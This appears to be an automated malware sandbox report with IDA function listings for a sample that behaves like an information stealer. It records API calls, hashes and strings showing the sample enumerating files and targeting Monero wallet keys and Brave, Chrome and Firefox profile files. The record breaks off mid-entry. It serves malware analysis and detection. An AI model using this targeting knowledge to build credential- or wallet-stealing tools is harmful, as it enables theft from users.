Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c96eeb9b53b05a3ea330fb6a75bb3e0afbba80f7cc68fa6e072178efff4e70b6
Instruction ID: 2f885508560eb3147bf85ba41b9233855b7396c67be83b70d7ed345f3221c916
Opcode Fuzzy Hash: c96eeb9b53b05a3ea330fb6a75bb3e0afbba80f7cc68fa6e072178efff4e70b6
Instruction Fuzzy Hash: C5F0E971641204BBEB149AA49C49FEFB7DCE705715F300548F504E7380D5725E00DA64

Function 00691190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006A78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A7910
Part of subcall function 006A78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006A7917
Part of subcall function 006A78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006A792F

Part of subcall function 006A7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006911B7), ref: 006A7880
Part of subcall function 006A7850: RtlAllocateHeap.NTDLL(00000000), ref: 006A7887
Part of subcall function 006A7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006A789F

ExitProcess.KERNEL32 ref: 006911C6

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: e76d2a28ae3d136c8f20c2792a1a606400c444f8823396cc92cb39e2c875a910
Instruction ID: 069b4097e3ab851f671e0b413abcd8490f37df45d57493c7641bfed0db800985
Opcode Fuzzy Hash: e76d2a28ae3d136c8f20c2792a1a606400c444f8823396cc92cb39e2c875a910
Instruction Fuzzy Hash: 64E012B5E1430667CE4473F0BC0AB2A339EAB16745F24053DFA05D7602FE29EC00896E

Non-executed Functions

Function 006A38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006A38CC
FindFirstFileA.KERNEL32(?,?), ref: 006A38E3
lstrcat.KERNEL32(?,?), ref: 006A3935
StrCmpCA.SHLWAPI(?,006B0F70), ref: 006A3947
StrCmpCA.SHLWAPI(?,006B0F74), ref: 006A395D
FindNextFileA.KERNEL32(000000FF,?), ref: 006A3C67
FindClose.KERNEL32(000000FF), ref: 006A3C7C

Strings

%s\%s\%s, xrefs: 006A3A4A
%s\*, xrefs: 006A38C0
%s\%s, xrefs: 006A3A6F
%s%s, xrefs: 006A3AAD
%s\%s, xrefs: 006A397A

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 2d765703e18634c78011aa54b06bd933565cfdbb600346cb2bf94e1a92639efd
Instruction ID: 20e52f465083ef5fd0fac77f294b9d47b1ae6227ce56a8850a7838f7d2aead7f
Opcode Fuzzy Hash: 2d765703e18634c78011aa54b06bd933565cfdbb600346cb2bf94e1a92639efd
Instruction Fuzzy Hash: 96A141B1A002189BDB64EFA4DC85FFA737DBB55300F044599B60D96241EB749B84CF62

Function 0069BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

FindFirstFileA.KERNEL32(00000000,?,006B0B32,006B0B2B,00000000,?,?,?,006B13F4,006B0B2A), ref: 0069BEF5
StrCmpCA.SHLWAPI(?,006B13F8), ref: 0069BF4D
StrCmpCA.SHLWAPI(?,006B13FC), ref: 0069BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0069C7BF
FindClose.KERNEL32(000000FF), ref: 0069C7D1

Strings

Preferences, xrefs: 0069C11E
Brave, xrefs: 0069C102
\Brave\Preferences, xrefs: 0069C1DB
Google Chrome, xrefs: 0069C634

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 319c7a2a0fdec23b515ffa32505662343665e4e32e61e2d8ddaceb5b6141c000
Instruction ID: 907bcddabd7be63391425107170f1cb041b3818e40ffaf6835fa826e699cad55
Opcode Fuzzy Hash: 319c7a2a0fdec23b515ffa32505662343665e4e32e61e2d8ddaceb5b6141c000
Instruction Fuzzy Hash: 36425272910104ABCF94FBA0DD96EEE737EAB85300F40455DB90A96181EF349F49CFA6

Function 006A4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006A492C
FindFirstFileA.KERNEL32(?,?), ref: 006A4943
StrCmpCA.SHLWAPI(?,006B0FDC), ref: 006A4971
StrCmpCA.SHLWAPI(?,006B0FE0), ref: 006A4987
FindNextFileA.KERNEL32(000000FF,?), ref: 006A4B7D
FindClose.KERNEL32(000000FF), ref: 006A4B92

Strings

%s\*, xrefs: 006A4920
%s\%s, xrefs: 006A49A4
%s\%s, xrefs: 006A49FB

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: bd00ffae60240f6ffd80612f50b185dda78bcbcfefb52adfe0cbf436d1d14f1a
Instruction ID: e7af09bcc0e978bf090a0b3b81245dfb338b62147468584e5292ac1bf5f4bf98
Opcode Fuzzy Hash: bd00ffae60240f6ffd80612f50b185dda78bcbcfefb52adfe0cbf436d1d14f1a
Instruction Fuzzy Hash: 156153B1900218ABCB24EBA0DC45EFB777DBB89700F04869DB50996141EF75EB85CFA1

Function 006A4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006A4580
RtlAllocateHeap.NTDLL(00000000), ref: 006A4587
wsprintfA.USER32 ref: 006A45A6
FindFirstFileA.KERNEL32(?,?), ref: 006A45BD
StrCmpCA.SHLWAPI(?,006B0FC4), ref: 006A45EB
StrCmpCA.SHLWAPI(?,006B0FC8), ref: 006A4601
FindNextFileA.KERNEL32(000000FF,?), ref: 006A468B
FindClose.KERNEL32(000000FF), ref: 006A46A0
lstrcat.KERNEL32(?,0126F990), ref: 006A46C5
lstrcat.KERNEL32(?,0126E650), ref: 006A46D8
lstrlen.KERNEL32(?), ref: 006A46E5
lstrlen.KERNEL32(?), ref: 006A46F6

Strings

%s\*, xrefs: 006A459A
%s\%s, xrefs: 006A461B

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 043cd72f4514dac950dcd8e43a98f3bb18d1b4269a799074034739b689a6f334
Instruction ID: 78c2baba4b163057d7d3b1660accaa0486bf134a0ce68c5b62cff82a339c8907
Opcode Fuzzy Hash: 043cd72f4514dac950dcd8e43a98f3bb18d1b4269a799074034739b689a6f334
Instruction Fuzzy Hash: 7C5164B1900218ABCB64FBB0DC89FEA737DBB59300F404699F60996150EF74DB848F91

Function 006A3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006A3EC3
FindFirstFileA.KERNEL32(?,?), ref: 006A3EDA
StrCmpCA.SHLWAPI(?,006B0FAC), ref: 006A3F08
StrCmpCA.SHLWAPI(?,006B0FB0), ref: 006A3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 006A406C
FindClose.KERNEL32(000000FF), ref: 006A4081

Strings

%s\%s, xrefs: 006A3EB7

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 66a5df0586b550f48f8ec3ca08b46a5caeb49aa5409b0b53d6705b2aeee30cf4
Instruction ID: 7340711d45537928c68b28568ad0fa737948d98c5aa643446a137ccb8e4546d9
Opcode Fuzzy Hash: 66a5df0586b550f48f8ec3ca08b46a5caeb49aa5409b0b53d6705b2aeee30cf4
Instruction Fuzzy Hash: 545164B2900218ABCB24FBB0DC85EFA737DBB45300F00469DB65996150EB75EB85CF95

Function 0069ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0069ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0069ED55
StrCmpCA.SHLWAPI(?,006B1538), ref: 0069EDAB
StrCmpCA.SHLWAPI(?,006B153C), ref: 0069EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0069F2AE
FindClose.KERNEL32(000000FF), ref: 0069F2C3

Strings

%s\*.*, xrefs: 0069ED32

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 2953c5a68a0ef6b6f7fef7c1ccbcbdc753dbeaeab935c7099b068255bcdabbe5
Instruction ID: 502f5b7172d0d6fee96857b944c4b31eacfaa5d7d66d16dd799ac695809d33f3
Opcode Fuzzy Hash: 2953c5a68a0ef6b6f7fef7c1ccbcbdc753dbeaeab935c7099b068255bcdabbe5
Instruction Fuzzy Hash: CCE1DF729121189ADBD4FBA0DC52EEE737AAF55300F40419EB50B62092EF346F8ACF55

Function 0069F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006B15B8,006B0D96), ref: 0069F71E
StrCmpCA.SHLWAPI(?,006B15BC), ref: 0069F76F
StrCmpCA.SHLWAPI(?,006B15C0), ref: 0069F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0069FAB1
FindClose.KERNEL32(000000FF), ref: 0069FAC3

Strings

prefs.js, xrefs: 0069F812

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9ec18d8b93a9ff7ec5e9b97c26a4b84cf916b524fd4a764bc84f7fb016818d4b
Instruction ID: b5cfb7fe95220b7486b933b468c914af5e9bc576d49a8229cb698dacd42630bf
Opcode Fuzzy Hash: 9ec18d8b93a9ff7ec5e9b97c26a4b84cf916b524fd4a764bc84f7fb016818d4b
Instruction Fuzzy Hash: E3B155719001089FDBA4FFA0DC55AEE737AAF55300F5085ADA40A9B181EF34AF49CF96

Function 006916D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006B510C,?,?,?,006B51B4,?,?,00000000,?,00000000), ref: 00691923
StrCmpCA.SHLWAPI(?,006B525C), ref: 00691973
StrCmpCA.SHLWAPI(?,006B5304), ref: 00691989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00691D40
DeleteFileA.KERNEL32(00000000), ref: 00691DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00691E20
FindClose.KERNEL32(000000FF), ref: 00691E32

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Strings

\*.*, xrefs: 006917F1

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: dc2d03a51294fbd0edf0e4531a2a6fabe507ecfa1161819637e540b2f6eddb22
Instruction ID: 4590a6f180c5d970f91ed2f9f884bf90e52b299b138b8368a9b92afdcafce5ed
Opcode Fuzzy Hash: dc2d03a51294fbd0edf0e4531a2a6fabe507ecfa1161819637e540b2f6eddb22
Instruction Fuzzy Hash: BE122F719111189BCB99FBA0CC96AEE737EAF56300F40419EB10B66091EF346F89CF95

Function 0069DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,006B0C2E), ref: 0069DE5E
StrCmpCA.SHLWAPI(?,006B14C8), ref: 0069DEAE
StrCmpCA.SHLWAPI(?,006B14CC), ref: 0069DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0069E3E0
FindClose.KERNEL32(000000FF), ref: 0069E3F2

Strings

